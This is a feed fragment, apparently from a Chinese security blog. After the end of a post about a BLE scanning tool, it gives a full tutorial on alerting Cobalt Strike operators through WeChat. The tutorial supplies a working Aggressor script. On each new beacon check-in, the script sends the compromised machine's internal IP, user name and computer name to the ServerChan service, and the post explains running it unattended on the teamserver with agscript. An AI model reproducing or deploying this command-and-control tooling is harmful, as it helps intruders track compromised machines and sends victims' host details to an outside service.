255);">这里我们使用litchi扫描附近的BLE设备连接，选择service、Characteristic并发送数据</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4710884353741497" data-s="300,640" style="" data-type="png" data-w="2352" src="https://wechat2rss.xlab.app/img-proxy/?k=6471798a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ0ny9CibMbHaTTzkVoDjzIorW50DZkIGzeH5N1SQ1C8sfIaAxdoaUaRrXm1Iib1e9JaQoMVxOWNP9w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">当然也可以在启动的时候指定Device、Service、Characteristic，并直接发送数据</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.0940337224383917" data-s="300,640" style="" data-type="png" data-w="3084" src="https://wechat2rss.xlab.app/img-proxy/?k=059bbc7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ0ny9CibMbHaTTzkVoDjzIoFcFj3TwaYlqfibQde5Y3sAI7qfVyn92dhq1oUIXJ0uiaLwzqP1b7licPQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">大家可以使用-h命令查看帮助</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4013961605584642" data-s="300,640" style="" data-type="png" data-w="1146" src="https://wechat2rss.xlab.app/img-proxy/?k=870d2fbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZ0ny9CibMbHaTTzkVoDjzIoeNlib6sIjEMtYaUxLGnt0fORubgW0JIUf8WbiaNm9hVgM9JTvn1nSm8g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">我们来看看效果</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.75" style="" data-type="gif" data-w="512" src="https://wechat2rss.xlab.app/img-proxy/?k=19199128&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fdjiam4RadAPZ0ny9CibMbHaTTzkVoDjzIoCKibNvBPNwmgw4h0fCjQ1qm43muIkQzSFBtzY6OZaTFaWNL38NPU1nQ%2F640%3Fwx_fmt%3Dgif"/></p><p><br/><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">欢迎师傅们star<br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><a href="https://github.com/nian-hua/Litchi" target="_blank">https://github.com/nian-hua/Litchi</a></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;font-size: 20px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a class="weapp_text_link" data-miniprogram-appid="wx1740bc9f8024a638" data-miniprogram-path="/pages/article/index?articleId=1706" data-miniprogram-nickname="留言墙plus" href="" data-miniprogram-type="text" data-miniprogram-servicetype="0" style="color: var(--weui-LINK);-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" href="">点我留言</a></span></strong></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></strong></p><p data-darkmode-bgcolor="rgb(36, 36, 36)" data-style="max-width: 100%; background-color: rgb(255, 255, 255); min-height: 1em; font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; box-sizing: border-box !important; word-wrap: break-word !important; overflow-wrap: break-word !important;" style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgba(255, 255, 255, 0.8);color: rgba(255, 255, 255, 0.8);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247484743&amp;idx=1&amp;sn=ebe3d52122ac3c4768265148f652d6a3&amp;chksm=faae5d8ccdd9d49a0357a65d6d676523279878e037dc07d93b5a841917aa44598fc5d614246e&amp;scene=21#wechat_redirect" target="_blank" data-itemshowtype="0" data-linktype="1" hasload="1" data-darkmode-bgcolor="rgb(36, 36, 36)" style="color: rgb(125, 144, 169);-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="js_jump_icon h5_image_link" data-positionback="static" data-darkmode-bgcolor="rgb(36, 36, 36)" style="max-width: 100%;line-height: 0;top: auto;left: auto;right: auto;bottom: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.6211340206185567" data-s="300,640" data-type="png" data-w="776" style="border-width: 0px;border-style: initial;border-color: initial;top: auto;left: auto;right: auto;bottom: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 477px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=be2ed5da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZTgmu9YEzqN8TjicsVPcYyjs1COchTbAjLdARxGopqNlPYMyTGlu6icoEo2uhgkodzBJBQB12lCIlw%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p data-darkmode-bgcolor="rgb(36, 36, 36)" data-style="max-width: 100%; background-color: rgb(255, 255, 255); min-height: 1em; font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; text-align: center; box-sizing: border-box !important; word-wrap: break-word !important; overflow-wrap: break-word !important;" class="js_darkmode__249" style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgba(255, 255, 255, 0.8);color: rgba(255, 255, 255, 0.8);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247484797&amp;idx=1&amp;sn=02deb9c9bbc231119a2bec8369b383b3&amp;chksm=faae5db6cdd9d4a010226022ba85578fa64a466628553d60b7f9696022d9c4f9c05520f18fec&amp;scene=21#wechat_redirect" target="_blank" data-itemshowtype="0" data-linktype="1" hasload="1" data-darkmode-bgcolor="rgb(36, 36, 36)" style="color: rgb(125, 144, 169);-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="js_jump_icon h5_image_link" data-positionback="static" style="max-width: 100%;line-height: 0;top: auto;left: auto;right: auto;bottom: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.6990920881971465" data-s="300,640" data-type="png" data-w="771" style="border-width: 0px;border-style: initial;border-color: initial;top: auto;left: auto;right: auto;bottom: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 477px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0319939e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPb7QTXMAia8rV8pl3YFhxmhfcZGGZ6p1icSqz13oZTUhNTssXEJssScJZqnEcEic3nbugJlpKGc26H8w%2F640%3Fwx_fmt%3Dpng"/></span></a></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.037096774193548385" data-s="300,640" data-type="png" data-w="620" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 620px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a43d18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZibnzhPsRafHdTzDib6nnoGLHEc4wibgAUyytuT3ERDlMgkRs44VF3KphSCyUnVibiaaLfHiaU20p8ESNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;letter-spacing: 0.544px;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages __bg_gif" data-ratio="1" data-s="300,640" data-type="gif" data-w="640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 640px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e10582e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fdjiam4RadAPZEibagnCovHXK1NtqhC9Ctg8cyuuiaOWQ2tFjHlVyd2SQrsHtQaicibTNSoWOjZg1Ge07VtNtFCC2OPQ%2F640%3Fwx_fmt%3Dgif"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.3008" data-s="300,640" data-type="png" data-w="1250" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 593px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=59f2e605&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbG3Vr3MoFCJzlV2ee6he3Kc2R5BP1qHmib7xMNl4Ob7G88dDwURFHp0aSfpZsaoYcVAUB8AswWw1Q%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="https://github.com/nian-hua/Litchi">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=20e648a7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247486007%26idx%3D1%26sn%3Df0882b62c49f022005262ee7a137304d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 01 May 2020 20:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Cobalt Strike 上线微信提醒</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485950&amp;idx=1&amp;sn=246e93b6699716f146a9276bf0132ee3</link>
      <description>Cobalt Strike 上线微信提醒</description>
      <content:encoded><![CDATA[<p>
<span>算命瞎子</span> <span>2020-04-21 20:57</span> <span style="display: inline-block;"></span>
</p>

<p>Cobalt Strike 上线微信提醒</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=460e773d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPYrMFf392ZUqEPq2Tbwt1GqyianCeibiaHBKhVrzrUDtrJ2zw3rXaem3QG6Uribqk6KSopia8xePpH7iaWw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">Server酱是什么</span></code><code><span class="code-snippet_outer">「Server酱」，英文名「ServerChan」，是一款「程序员」和「服务器」之间的通信软件。</span></code><code><span class="code-snippet_outer">说人话？就是从服务器推报警和日志到手机的工具。</span></code><code><span class="code-snippet_outer">开通并使用上它，只需要一分钟：</span></code><code><span class="code-snippet_outer">登入：用GitHub账号登入网站，就能获得一个SCKEY（在「发送消息」页面）</span></code><code><span class="code-snippet_outer">绑定：点击「微信推送」，扫码关注同时即可完成绑定</span></code><code><span class="code-snippet_outer">发消息：往 http:<span class="code-snippet__comment">//sc.ftqq.com/SCKEY.send 发GET请求，就可以在微信里收到消息啦</span></span></code></pre></section><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">先看看效果</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.3905228758169934" data-s="300,640" style="" data-type="png" data-w="1224" src="https://wechat2rss.xlab.app/img-proxy/?k=a2c6ff43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYrMFf392ZUqEPq2Tbwt1GqHj7BH2lUq7CZERuwEVUGIxSQMaQt8vIedfogKh46fWIcbohcKaZHaA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.7219827586206897" data-s="300,640" style="" data-type="png" data-w="928" src="https://wechat2rss.xlab.app/img-proxy/?k=af0a0156&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYrMFf392ZUqEPq2Tbwt1GqJLaAzbu7RArAYGy9ibaBoicUiafInugLuruGLV2fTcqAgGG8KkpgVmkTg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.6666666666666667" data-s="300,640" style="" data-type="png" data-w="936" src="https://wechat2rss.xlab.app/img-proxy/?k=c658006b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYrMFf392ZUqEPq2Tbwt1GqGBsQBC1oa3AMCu2OgcmTicJL1buS85et92pqxk69YJ0I7SZHRWJAVEg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">复制下面代码保存为 <code style="box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(199, 37, 78);background-color: rgb(249, 242, 244);border-radius: 4px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;">http_ftqq.cna</code> 文件。</p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(199, 37, 78);background-color: rgb(249, 242, 244);border-radius: 4px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;">或者百度云下载：<a href="https://pan.baidu.com/s/15LPGaTLkdWWgVZW8A1E82g" target="_blank">https://pan.baidu.com/s/15LPGaTLkdWWgVZW8A1E82g</a> 提取码：nm1y</code></p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-weight: 700;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;">注意：需要修改代码25行链接内容为你Server酱的SCKEY码</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 循环获取所有beacon</span></span></code><code><span class="code-snippet_outer">on beacon_initial {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">sub</span> <span class="code-snippet__title">http_get</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">local</span>(<span class="code-snippet__string">&#39;$output&#39;</span>);</span></code><code><span class="code-snippet_outer">        $url = [new java.net.URL: $1];</span></code><code><span class="code-snippet_outer">        $stream = [$url openStream];</span></code><code><span class="code-snippet_outer">        $handle = [SleepUtils getIOHandle: $stream, $null];</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        @content = readAll($handle);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">foreach</span> $line (@content) {</span></code><code><span class="code-snippet_outer">            $output .= $line . <span class="code-snippet__string">&#34;\r\n&#34;</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        println($output);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">#获取ip、计算机名、登录账号</span></span></code><code><span class="code-snippet_outer">    $internalIP = replace(beacon_info($1, <span class="code-snippet__string">&#34;internal&#34;</span>), <span class="code-snippet__string">&#34; &#34;</span>, <span class="code-snippet__string">&#34;_&#34;</span>);</span></code><code><span class="code-snippet_outer">    $userName = replace(beacon_info($1, <span class="code-snippet__string">&#34;user&#34;</span>), <span class="code-snippet__string">&#34; &#34;</span>, <span class="code-snippet__string">&#34;_&#34;</span>);</span></code><code><span class="code-snippet_outer">    $computerName = replace(beacon_info($1, <span class="code-snippet__string">&#34;computer&#34;</span>), <span class="code-snippet__string">&#34; &#34;</span>, <span class="code-snippet__string">&#34;_&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">#get一下Server酱的链接</span></span></code><code><span class="code-snippet_outer">    $url = <span class="code-snippet__string">&#39;<a href="https://sc.ftqq.com/此处填写你Server酱的SCKEY码.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&amp;desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0Aip:" target="_blank">https://sc.ftqq.com/此处填写你Server酱的SCKEY码.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&amp;desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0Aip:</a>&#39;</span>.$internalIP.<span class="code-snippet__string">&#39;%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:&#39;</span>.$userName.<span class="code-snippet__string">&#39;%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:&#39;</span>.$computerName;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    http_get($url);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-ratio="1.4787234042553192" data-s="300,640" style="" data-type="png" data-w="940" src="https://wechat2rss.xlab.app/img-proxy/?k=06f84173&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYrMFf392ZUqEPq2Tbwt1GqHic6tlI3sxSpic5Ds5WFW6o5Mb16kOVqia34oJmDjlsBK2SSnc1sYnD0Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.5394456289978677" data-s="300,640" style="" data-type="png" data-w="938" src="https://wechat2rss.xlab.app/img-proxy/?k=dccc433b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYrMFf392ZUqEPq2Tbwt1GqtwYyvJrGctkFnl5T7R77icOM7RNib887ia8vEw18SQdk99e9o9NoUolkg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">把cna脚本添加到本地客户端后，如果beacon上线了，这个提醒的请求 是从客户端发出的。</p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">那么问题来了，如果我要接收通知，是不是就得一直开着客户端连着teamserver？</p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">这样就非常不方便了，而且如果网络有波动，断开了到teamserver的连接，就收不到通知了。</p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">其实在服务器端有个 <code style="box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(199, 37, 78);background-color: rgb(249, 242, 244);border-radius: 4px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;">agscript</code> 文件，他就是用来在服务器端运行cna文件的，这样就不用一直连着服务器端。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3665254237288136" data-s="300,640" style="" data-type="png" data-w="944" 